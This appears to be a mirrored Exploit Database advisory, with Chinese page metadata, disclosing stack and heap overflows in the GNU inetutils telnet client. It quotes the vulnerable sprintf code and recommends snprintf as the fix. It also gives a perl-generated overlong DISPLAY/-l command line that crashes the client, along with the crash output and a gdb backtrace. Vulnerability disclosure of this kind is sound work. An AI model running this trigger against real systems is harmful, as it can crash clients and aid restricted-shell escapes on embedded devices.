GNU inetutils < 1.9.4 - 'telnet.c' Multiple Overflows (PoC)

• Exploit Database
• 23 阅读

• 作者： Hacker Fantastic
  日期： 2018-12-11
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/45982/

• GNU inetutils <= 1.9.4 telnet.c multiple overflows
  ==================================================
  GNU inetutils is vulnerable to a stack overflow vulnerability in the client-side environment 
  variable handling which can be exploited to escape restricted shells on embedded devices. 
  Most modern browsers no longer support telnet:// handlers, but in instances where URI
  handlers are enabled to the inetutils telnet client this issue maybe remotely triggerable. 
  A stack-based overflow is present in the handling of environment variables when connecting 
  telnet.c to remote telnet servers through oversized DISPLAY arguments.
  
  A heap-overflow is also present which can be triggered in a different code path due to 
  supplying oversized environment variables during client connection code. 
  
  The stack-based overflow can be seen in the following code snippet from the latest inetutils 
  release dated 2015.
  
  inetutils-telnet/inetutils-1.9.4/telnet/telnet.c
  
  983-case TELOPT_XDISPLOC:
  984-if (my_want_state_is_wont (TELOPT_XDISPLOC))
  985-	return;
  986-if (SB_EOF ())
  987-	return;
  988-if (SB_GET () == TELQUAL_SEND)
  989-	{
  990-	unsigned char temp[50], *dp;
  991-	int len;
  992-
  993-	if ((dp = env_getvalue ("DISPLAY")) == NULL)
  994-	{
  995-	/*
  996-	 * Something happened, we no longer have a DISPLAY
  997-	 * variable.So, turn off the option.
  998-	 */
  999-	send_wont (TELOPT_XDISPLOC, 1);
  1000-	break;
  1001-	}
  1002:	sprintf ((char *) temp, "%c%c%c%c%s%c%c", IAC, SB, TELOPT_XDISPLOC,
  1003-		 TELQUAL_IS, dp, IAC, SE);
  1004-	len = strlen ((char *) temp + 4) + 4;	/* temp[3] is 0 ... */
  1005-
  1006-	if (len < NETROOM ())
  
  When a telnet server requests environment options the sprintf on line 1002 will
  not perform bounds checking and causes an overflow of stack buffer temp[50] defined
  at line 990. This issue can be trivially fixed using a patch to add bounds checking
  to sprintf such as with a call to snprintf();
  
  An example of the heap overflow can be seen when handling large environment
  variables within the telnet client, causing heap buffer memory corruption
  through long string supplied in example USER or DISPLAY.
  
  An example of triggering this issue on inetutils in Arch Linux can be seen below:
  
  DISPLAY=`perl -e 'print Ax"50000"'` telnet -l`perl -e 'print "A"x5000'` 192.168.69.1
  Trying 192.168.69.1...
  Connected to 192.168.69.1.
  Escape character is '^]'.
  realloc(): invalid next size
  Aborted (core dumped)
  
  These issues are present anywhere that inetutils is used as a base for clients
  such as in common embedded home routers or networking equipment. An attacker
  can potentially exploit these vulnerabilities to gain arbitrary code execution
  on platforms where telnet commands are available. An example debug trace of the
  heap overflow can be found below:
  
  (gdb) run -l`perl -e 'print "A"x5000'` 192.168.69.1
  Starting program: /usr/bin/telnet -l`perl -e 'print "A"x5000'` 192.168.69.1
  Trying 192.168.69.1...
  Connected to 192.168.69.1.
  Escape character is '^]'.
  realloc(): invalid next size
  
  Program received signal SIGABRT, Aborted.
  0x00007ffff7d87d7f in raise () from /usr/lib/libc.so.6
  (gdb) bt
  #00x00007ffff7d87d7f in raise () from /usr/lib/libc.so.6
  #10x00007ffff7d72672 in abort () from /usr/lib/libc.so.6
  #20x00007ffff7dca878 in __libc_message () from /usr/lib/libc.so.6
  #30x00007ffff7dd118a in malloc_printerr () from /usr/lib/libc.so.6
  #40x00007ffff7dd52ac in _int_realloc () from /usr/lib/libc.so.6
  #50x00007ffff7dd62df in realloc () from /usr/lib/libc.so.6
  #60x000055555556029c in ?? ()
  #70x0000555555560116 in ?? ()
  #80x000055555556049f in ?? ()
  #90x00005555555606b7 in ?? ()
  #10 0x00005555555616de in ?? ()
  #11 0x0000555555561b8d in ?? ()
  #12 0x0000555555562122 in ?? ()
  #13 0x000055555555c6f4 in ?? ()
  #14 0x00005555555591e7 in ?? ()
  #15 0x00007ffff7d74223 in __libc_start_main () from /usr/lib/libc.so.6
  #16 0x00005555555592be in ?? ()
  
  Due to the various devices embedding telnet from inetutils and distributions
  such as Arch Linux using inetutils telnet, it is unclear the full impact and all
  scenarios where this issue could be leveraged. An attacker may seek to exploit
  these vulnerabilities to escape restricted shells.
  
  -- Hacker Fantastic (11/12/2018)
  
  https://hacker.house